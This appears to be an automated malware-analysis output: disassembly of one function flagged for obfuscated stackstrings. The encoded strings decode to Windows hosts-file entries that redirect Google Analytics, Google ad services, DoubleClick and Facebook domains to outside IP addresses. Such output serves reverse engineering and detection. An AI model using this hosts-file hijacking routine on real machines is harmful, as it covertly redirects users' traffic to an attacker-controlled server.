Function at 0x4a300a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0xffffffffffffffff
push 0x4cfac2
mov eax, dword fs:[0]
push eax
sub esp, 0x12c
mov eax, dword [0x517930]
xor eax, esp
mov dword [esp + 0x128], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x517930]
xor eax, esp
push eax
lea eax, [esp + 0x140]
mov dword fs:[0], eax
mov esi, ecx
call fcn.004a1634
push eax
lea ecx, [esp + 0x20]
call fcn.004a10d2
xor ebx, ebx
mov dword [esp + 0x148], ebx
call fcn.004a1634
push eax
lea ecx, [esp + 0x1c]
call fcn.004a10d2
mov byte [esp + 0x148], 1
call fcn.004a1634
push eax
lea ecx, [esp + 0x28]
call fcn.004a10d2
mov byte [esp + 0x148], 2
mov dword [esp + 0x48], 0x2e373031
mov dword [esp + 0x4c], 0x2e383731
mov dword [esp + 0x50], 0x2e353532
mov dword [esp + 0x54], 0x77203838
mov dword [esp + 0x58], 0x672e7777
mov dword [esp + 0x5c], 0x6c676f6f
mov dword [esp + 0x60], 0x6e612d65
mov dword [esp + 0x64], 0x74796c61
mov dword [esp + 0x68], 0x2e736369
mov dword [esp + 0x6c], 0xd6d6f63
mov dword [esp + 0x70], 0x3730310a
mov dword [esp + 0x74], 0x3837312e
mov dword [esp + 0x78], 0x3535322e
mov dword [esp + 0x7c], 0x2038382e
mov dword [esp + 0x80], 0x2e6c7373
mov dword [esp + 0x84], 0x676f6f67
mov dword [esp + 0x88], 0x612d656c
mov dword [esp + 0x8c], 0x796c616e
mov dword [esp + 0x90], 0x73636974
mov dword [esp + 0x94], 0x6d6f632e
mov dword [esp + 0x98], 0x30310a0d
mov dword [esp + 0x9c], 0x37312e37
mov dword [esp + 0xa0], 0x35322e38
mov dword [esp + 0xa4], 0x38382e35
mov dword [esp + 0xa8], 0x72617020
mov dword [esp + 0xac], 0x72656e74
mov dword [esp + 0xb0], 0x6f6f672e
mov dword [esp + 0xb4], 0x61656c67
mov dword [esp + 0xb8], 0x72657364
mov dword [esp + 0xbc], 0x65636976
mov dword [esp + 0xc0], 0x6f632e73
mov dword [esp + 0xc4], 0x310a0d6d
mov dword [esp + 0xc8], 0x312e3730
mov dword [esp + 0xcc], 0x322e3837
mov dword [esp + 0xd0], 0x382e3535
mov dword [esp + 0xd4], 0x6f672038
mov dword [esp + 0xd8], 0x656c676f
mov dword [esp + 0xdc], 0x616e612d
mov dword [esp + 0xe0], 0x6974796c
mov dword [esp + 0xe4], 0x632e7363
mov dword [esp + 0xe8], 0xa0d6d6f
mov dword [esp + 0xec], 0x2e373031
mov dword [esp + 0xf0], 0x2e383731
mov dword [esp + 0xf4], 0x2e383432
mov dword [esp + 0xf8], 0x20303331
mov dword [esp + 0xfc], 0x74617473
mov dword [esp + 0x100], 0x642e6369
mov dword [esp + 0x104], 0x6c62756f
mov dword [esp + 0x108], 0x696c6365
mov dword [esp + 0x10c], 0x6e2e6b63
mov dword [esp + 0x110], 0xa0d7465
mov dword [esp + 0x114], 0x2e373031
mov dword [esp + 0x118], 0x2e383731
mov dword [esp + 0x11c], 0x2e373432
mov dword [esp + 0x120], 0x20303331
mov dword [esp + 0x124], 0x6e6e6f63
mov dword [esp + 0x128], 0x2e746365
mov dword [esp + 0x12c], 0x65636166
mov dword [esp + 0x130], 0x6b6f6f62
mov dword [esp + 0x134], 0x74656e2e
mov word [esp + 0x138], 0xa0d
mov byte [esp + 0x13a], bl
mov dword [esp + 0x2c], 0x7379735c
mov dword [esp + 0x30], 0x336d6574
mov dword [esp + 0x34], 0x72645c32
mov dword [esp + 0x38], 0x72657669
mov dword [esp + 0x3c], 0x74655c73
mov dword [esp + 0x40], 0x6f685c63
mov dword [esp + 0x44], 0x737473
call fcn.004a1634
push eax
lea ecx, [esp + 0x18]
call fcn.004a10d2
lea eax, [esp + 0x2c]
mov byte [esp + 0x148], 3
push eax
lea ecx, [esp + 0x18]
call fcn.004a107f
lea eax, [esp + 0x14]
mov byte [esp + 0x148], 4
push eax
mov edx, esi
lea ecx, [esp + 0x24]
call fcn.004a580e
pop ecx
push eax
lea ecx, [esp + 0x20]
mov byte [esp + 0x14c], 5
call fcn.004a1034
mov ecx, dword [esp + 0x20]
lea ecx, [ecx - 0x10]
call fcn.004a1719
mov byte [esp + 0x148], 2
mov ecx, dword [esp + 0x14]
lea ecx, [ecx - 0x10]
call fcn.004a1719
call fcn.004a1634
push eax
lea ecx, [esp + 0x18]
call fcn.004a10d2
lea eax, [esp + 0x48]
mov byte [esp + 0x148], 6
push eax
lea ecx, [esp + 0x18]
call fcn.004a107f
lea edx, [esp + 0x1c]
mov byte [esp + 0x148], 7
lea ecx, [esp + 0x28]
call fcn.004a0d00
push eax
lea edx, [esp + 0x18]
mov byte [esp + 0x14c], 8
lea ecx, [esp + 0x24]
call fcn.004a580e
pop ecx
push eax
lea ecx, [esp + 0x28]
mov byte [esp + 0x14c], 9
call fcn.004a1034
mov ecx, dword [esp + 0x20]
lea ecx, [ecx - 0x10]
call fcn.004a1719
mov ecx, dword [esp + 0x28]
lea ecx, [ecx - 0x10]
call fcn.004a1719
mov byte [esp + 0x148], 2
mov ecx, dword [esp + 0x14]
lea ecx, [ecx - 0x10]
call fcn.004a1719
push dword [0x52607c]
mov ecx, str.23metsy
push ecx
push 0x510cd0
push 0x510cd4
push 0x510cd8
push 0x510cdc
mov ebp, 0x510ce0
mov eax, 0x510ce4
push ebp
push eax
mov ebx, 0x510ce8
mov edi, 0x510cec
push ebx
push eax
push ecx
push dword [esi]
lea eax, [esp + 0x48]
push edi
push eax
call fcn.004a6156
lea ecx, [esp + 0x50]
call fcn.004a2f64
push dword [0x526078]
mov ecx, str.23metsy
mov eax, 0x510ce4
push ecx
push 0x510cd0
push 0x510cd4
push 0x510cd8
push 0x510cdc
push ebp
push eax
push ebx
push eax
push ecx
push dword [esi]
lea eax, [esp + 0x80]
push edi
push eax
call fcn.004a6156
mov edi, dword [esp + 0x94]
add esp, 0x6c
mov esi, esp
lea ecx, [edi - 0x10]
call fcn.004a11ce
add eax, 0x10
lea ecx, [esp + 0x1c]
mov dword [esi], eax
call fcn.004a0e72
pop ecx
lea ecx, [edi - 0x10]
call fcn.004a1719
mov ecx, dword [esp + 0x18]
lea ecx, [ecx - 0x10]
call fcn.004a1719
mov ecx, dword [esp + 0x1c]
lea ecx, [ecx - 0x10]
call fcn.004a1719
mov ecx, dword [esp + 0x140]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x128]
xor ecx, esp
call fcn.004b5580
add esp, 0x138
ret